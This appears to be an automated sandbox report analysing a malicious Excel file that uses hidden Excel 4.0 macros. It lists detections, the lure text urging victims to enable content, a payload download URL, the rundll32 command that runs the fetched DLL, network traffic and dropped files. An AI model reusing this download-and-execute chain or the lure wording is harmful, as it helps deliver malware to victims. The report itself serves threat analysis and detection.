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Analysis Report document-1429954472.xls

Overview

General Information

Sample Name:	document-1429954472.xls
Analysis ID:	384830
MD5:	de9de1ff91dd0501f1405ce027fb5941
SHA1:	826804c571db7b1c892160c8c4c05c2d5d015d63
SHA256:	26acece82b024fc2b5306a52189db24a8742c11cc9ebbc84ab6a5dca8672bc0c
Tags:	SilentBuilderxls
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found Excel 4.0 Macro with suspicious formulas

Yara detected hidden Macro 4.0 in Excel

Allocates a big amount of memory (probably used for heap spraying)

Document contains embedded VBA macros

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

Yara signature match

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 2248 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

rundll32.exe (PID: 2552 cmdline: rundll32 ..\iojhsfgv.dvers,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
document-1429954472.xls	SUSP_Excel4Macro_AutoOpen	Detects Excel4 macro use with auto open / close	John Lambert @JohnLaTwC	0x0:$header_docf: D0 CF 11 E0 0x4c2a2:$s1: Excel 0x4d2f4:$s1: Excel 0x38f2:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A
document-1429954472.xls	JoeSecurity_HiddenMacro	Yara detected hidden Macro 4.0 in Excel	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: document-1429954472.xls

ReversingLabs: Detection: 47%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Source: excel.exe

Memory has grown: Private usage: 4MB later: 47MB

Source: global traffic

DNS query: name: fastswitch.org

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 47.244.191.15:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 47.244.191.15:80

Source: global traffic

HTTP traffic detected: GET /ds/0702.gif HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: fastswitch.orgConnection: Keep-Alive

Source: global traffic

Source: rundll32.exe, 00000003.00000002.2101785955.0000000001BA0000.00000002.00000001.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: unknown

DNS traffic detected: queries for: fastswitch.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 503 Service UnavailableDate: Fri, 09 Apr 2021 20:09:42 GMTServer: Apache/2.4.6 (CentOS) PHP/5.6.31X-Powered-By: PHP/5.6.31Content-Length: 79Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 2e 3c 2f 68 31 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 64 73 2f 30 37 30 32 2e 67 69 66 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e Data Ascii: <h1>Not Found.</h1>The requested URL /ds/0702.gif was not found on this server.

Source: document-1429954472.xls	String found in binary or memory: http://fastswitch.org/ds/0702.gif
Source: rundll32.exe, 00000003.00000002.2101785955.0000000001BA0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000003.00000002.2101785955.0000000001BA0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000003.00000002.2102003804.0000000001D87000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000003.00000002.2102003804.0000000001D87000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: rundll32.exe, 00000003.00000002.2102003804.0000000001D87000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000003.00000002.2102003804.0000000001D87000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: rundll32.exe, 00000003.00000002.2101785955.0000000001BA0000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000003.00000002.2102003804.0000000001D87000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000003.00000002.2101785955.0000000001BA0000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000003.00000002.2101785955.0000000001BA0000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable editing" to unlock the editing document downloaded from the internet.y 0Protected View This
Source: Screenshot number: 4	Screenshot OCR: Enable content" to perform Microsoft Word Decryption Core to start the decryption of the document.
Source: Screenshot number: 8	Screenshot OCR: Enable editing" to unlock the editing document downloaded from the internet.y 0Protected View This
Source: Screenshot number: 8	Screenshot OCR: Enable Content X "" - (" jR " ^ Docu&nt THIS STEPS ARE REQUIRED TO FULLY DECRYPT THE DOCUMENT,
Source: Screenshot number: 12	Screenshot OCR: Enable Content X J315 " '" jR " A B C D E F G H I J K L M N O P Q R S L=j 301 302 303 304 3

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: document-1429954472.xls

Initial sample: EXEC

Source: document-1429954472.xls

OLE indicator, VBA macros: true

Source: document-1429954472.xls, type: SAMPLE

Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f

Source: rundll32.exe, 00000003.00000002.2101785955.0000000001BA0000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal72.expl.evad.winXLS@3/5@1/1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\F0EE0000

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRD7C8.tmp

Jump to behavior

Source: document-1429954472.xls

OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iojhsfgv.dvers,DllRegisterServer

Source: document-1429954472.xls

ReversingLabs: Detection: 47%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iojhsfgv.dvers,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iojhsfgv.dvers,DllRegisterServer	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Yara detected hidden Macro 4.0 in Excel

Show sources

Source: Yara match

File source: document-1429954472.xls, type: SAMPLE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting11	Path Interception	Process Injection1	Masquerading1	OS Credential Dumping	File and Directory Discovery1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Non-Application Layer Protocol3	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution23	Boot or Logon Initialization Scripts	Extra Window Memory Injection1	Disable or Modify Tools1	LSASS Memory	System Information Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Application Layer Protocol13	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Rundll321	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting11	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Extra Window Memory Injection1	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
document-1429954472.xls	48%	ReversingLabs	Document-Word.Trojan.Abracadabra

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://fastswitch.org/ds/0702.gif	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fastswitch.org	47.244.191.15	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://fastswitch.org/ds/0702.gif	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	rundll32.exe, 00000003.00000002.2102003804.0000000001D87000.00000002.00000001.sdmp	false		high
http://www.windows.com/pctv.	rundll32.exe, 00000003.00000002.2101785955.0000000001BA0000.00000002.00000001.sdmp	false		high
http://investor.msn.com	rundll32.exe, 00000003.00000002.2101785955.0000000001BA0000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	rundll32.exe, 00000003.00000002.2101785955.0000000001BA0000.00000002.00000001.sdmp	false		high
http://www.icra.org/vocabulary/.	rundll32.exe, 00000003.00000002.2102003804.0000000001D87000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	rundll32.exe, 00000003.00000002.2102003804.0000000001D87000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	rundll32.exe, 00000003.00000002.2101785955.0000000001BA0000.00000002.00000001.sdmp	false		high
http://investor.msn.com/	rundll32.exe, 00000003.00000002.2101785955.0000000001BA0000.00000002.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
47.244.191.15	fastswitch.org	United States		45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	384830
Start date:	09.04.2021
Start time:	22:08:45
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	document-1429954472.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.expl.evad.winXLS@3/5@1/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe VT rate limit hit for: /opt/package/joesandbox/database/analysis/384830/sample/document-1429954472.xls

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	documents-351331057.xlsm	Get hash	malicious	Browse	8.211.4.209
	documents-351331057.xlsm	Get hash	malicious	Browse	8.211.4.209
	documents-1819557117.xlsm	Get hash	malicious	Browse	8.211.4.209
	documents-1819557117.xlsm	Get hash	malicious	Browse	8.211.4.209
	BvuKqSpgIG.exe	Get hash	malicious	Browse	198.11.132.10
	3vQD6TIYA1.exe	Get hash	malicious	Browse	8.209.67.151
	wininit.dll	Get hash	malicious	Browse	8.208.88.90
	XN123gfQJQ.exe	Get hash	malicious	Browse	8.209.67.151
	0408_391585988029.doc	Get hash	malicious	Browse	8.208.88.90
	msals.pumpl.dll	Get hash	malicious	Browse	8.208.88.90
	BrgW593cHH.exe	Get hash	malicious	Browse	8.208.95.18
	BrgW593cHH.exe	Get hash	malicious	Browse	8.208.95.18
	WDnE51mua6.exe	Get hash	malicious	Browse	8.208.95.18
	documents-2112491607.xlsm	Get hash	malicious	Browse	8.211.4.209
	documents-1660683173.xlsm	Get hash	malicious	Browse	8.211.4.209
	0406_37400496097832.doc	Get hash	malicious	Browse	8.208.95.92
	32_64_ver_2_bit.exe	Get hash	malicious	Browse	8.209.67.151
	1234.xlsm	Get hash	malicious	Browse	8.211.4.209
	12345.xlsm	Get hash	malicious	Browse	8.211.4.209
	1234.xlsm	Get hash	malicious	Browse	8.211.4.209

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\DEDE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	304486
Entropy (8bit):	7.987710968119744
Encrypted:	false
SSDEEP:	6144:J4rFLPodmRqyAVYtlKsVLCyo7NtbcY7uLaG/9t7+Ms:J4FPM8R3AsB+bjej/9ch
MD5:	B7E3BA7F477AAC44DE78E92775EEED28
SHA1:	3C4149438C592697A5092AC7E0555ACB56370FD5
SHA-256:	AFE0B5366D0EC38A0AB04352CD3A6EE7593F11E3FD3047B7DCAC95DD1AA6BCBC
SHA-512:	52EE9132CA8B28FA51818E394C71192E2A0132CDD79DB4276E74D22A840638AF1FDAAB69F4D318624C8A505EF858CEDDB57894DF2ABD5147E53003704F7F9CC8
Malicious:	false
Reputation:	low
Preview:	.T.n.0....?..........C....I?`L.%...a...;...5..Fr.B.-..........{q..D.^.m.._......^...{.E........0.S/...)I......*$.._. #.5.(?.f...>..m..b1..+x.........x.\|.}W.z.1Z. .Q....H.V+.P........4.....&...s..H....G....e.4"..#..}..#k)4.H.8......9.q?......B.?.qZrc.SH.e...<I..Q......u.T.7...y...vxF."I....H....?.RI%..Q}_j.P...L...e....J3!Hyk..8.......].........>t..bA..^.....O..."..Jxy..^.md"L...O..A....G3..8.Oh.:..........PK..........!.I$ON............[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Sat Apr 10 04:09:42 2021, atime=Sat Apr 10 04:09:42 2021, length=8192, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.469388029914967
Encrypted:	false
SSDEEP:	12:85QZSpNcLgXg/XAlCPCHaX2B8GB/MUeX+WnicvbCLbDtZ3YilMMEpxRljKATdJP8:85MSpE/XTm6GKdYeWXDv3qNrNru/
MD5:	80B2A8EBEAA88E11E4874EDC7B41CAD3
SHA1:	69F63C5F862D22850E33F85766510008D92348D8
SHA-256:	29E7017EC8AC9674E8BB46126FB26D8E6D602205BE9026DB349E35F5361F30DE
SHA-512:	69B1838BAC4D4CCEC3683E8023BA95E6D41C3E32F82A1F861F6AE010C2F4BF0789ED3F41FF49424D0EA8FAF234C5D10A1F50760890ACE87B54F53331768E5A63
Malicious:	false
Reputation:	low
Preview:	L..................F...........7G..1.Z..-..1.Z..-... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......R6)..Desktop.d......QK.X.R6)..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\536720\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......536720..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\document-1429954472.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:17 2020, mtime=Sat Apr 10 04:09:42 2021, atime=Sat Apr 10 04:09:43 2021, length=323072, window=hide
Category:	dropped
Size (bytes):	4236
Entropy (8bit):	4.527511641219768
Encrypted:	false
SSDEEP:	96:8S/XJGqyNQh2S/XJGqyNQh2S/XJGqyNQh2S/XJGqyNQ/:8mGqsQEmGqsQEmGqsQEmGqsQ/
MD5:	9C5D462A51C789DDD64418668E6C52A0
SHA1:	EDC9AB1E91881B421FD8836B13BE1E5F511DDF9B
SHA-256:	5389B72F31ACFED4B77181C6F8E728FE41013CEFB40498DB9A5B8645FB71E5C9
SHA-512:	139F586B90C1D0DCA601800B7482E3F1CE9A417BD7FE0326C840AD37E28FB5F2FBA93D646D873FD32E775C873D33EE900DA996C036601748D23208E462292767
Malicious:	false
Reputation:	low
Preview:	L..................F.... ....C$..{..1.Z..-....p..-...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....x.2......R2) .DOCUME~1.XLS..\.......Q.y.Q.y...8.....................d.o.c.u.m.e.n.t.-.1.4.2.9.9.5.4.4.7.2...x.l.s.......................-...8...[............?J......C:\Users\..#...................\\536720\Users.user\Desktop\document-1429954472.xls.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.d.o.c.u.m.e.n.t.-.1.4.2.9.9.5.4.4.7.2...x.l.s.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......536720..........D_....3N.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	232
Entropy (8bit):	4.748684856001104
Encrypted:	false
SSDEEP:	6:dj6Y9LDfSELDf6Y9LDfSELDf6Y9LDfSELDf6Y9LDfy:dmGfLf6GfLf6GfLf6Gfy
MD5:	7017EBEEBA485CE008EB5293B9112C4D
SHA1:	7442A6B35DF884CD49EC16D3DD4ED71146B94EF5
SHA-256:	6E44F9EF52F364C3AD88CA0CBFB3ED5B5300DBEFD0FB2AF6A199082F54DB355E
SHA-512:	403A358D37A6F1AF09638D5A8FF89962A5CDA61D08AF7052952E0D89BE85CB002DCE8F0436C1A9B4628FDEA29A5AD09F677CE9024354A1CF30809C3DD90FD5AD
Malicious:	false
Reputation:	low
Preview:	Desktop.LNK=0..[xls]..document-1429954472.LNK=0..document-1429954472.LNK=0..[xls]..document-1429954472.LNK=0..document-1429954472.LNK=0..[xls]..document-1429954472.LNK=0..document-1429954472.LNK=0..[xls]..document-1429954472.LNK=0..

C:\Users\user\Desktop\F0EE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Applesoft BASIC program data, first line number 16
Category:	dropped
Size (bytes):	359628
Entropy (8bit):	7.418162021993312
Encrypted:	false
SSDEEP:	6144:xcKoSsxzNDZLDZjlbR868O8KL5L+od2xEtjPOtioVjDGUU1qfDlavx+W2QnAFVA7:1eLUIRfUI5uXL6nDJo2JPJ
MD5:	61FAC44BC65739DA3CBBDCA76E6E2B84
SHA1:	155838665FF2509329778E2447BE9B417CB8B0F3
SHA-256:	15666D3495FC4D0D021491B4E66C8F8BF2EB2FCF38741C5F6D7CC3B876324440
SHA-512:	A8FF19B5D646669D1A0E28BD71D5244AA34414E56EF3ACA2DD93BB405FE5114F183A49D4FD0718EF9DD008973C97599BB2C27DD435FC18E86CEBF66D9561205B
Malicious:	false
Reputation:	low
Preview:	........g2.........................\.p.... B.....a.........=...........................................=.....i..9J.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......>...........C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...,...8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...h...8...........C.a.m.b.r.i.a.1.......<...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...............

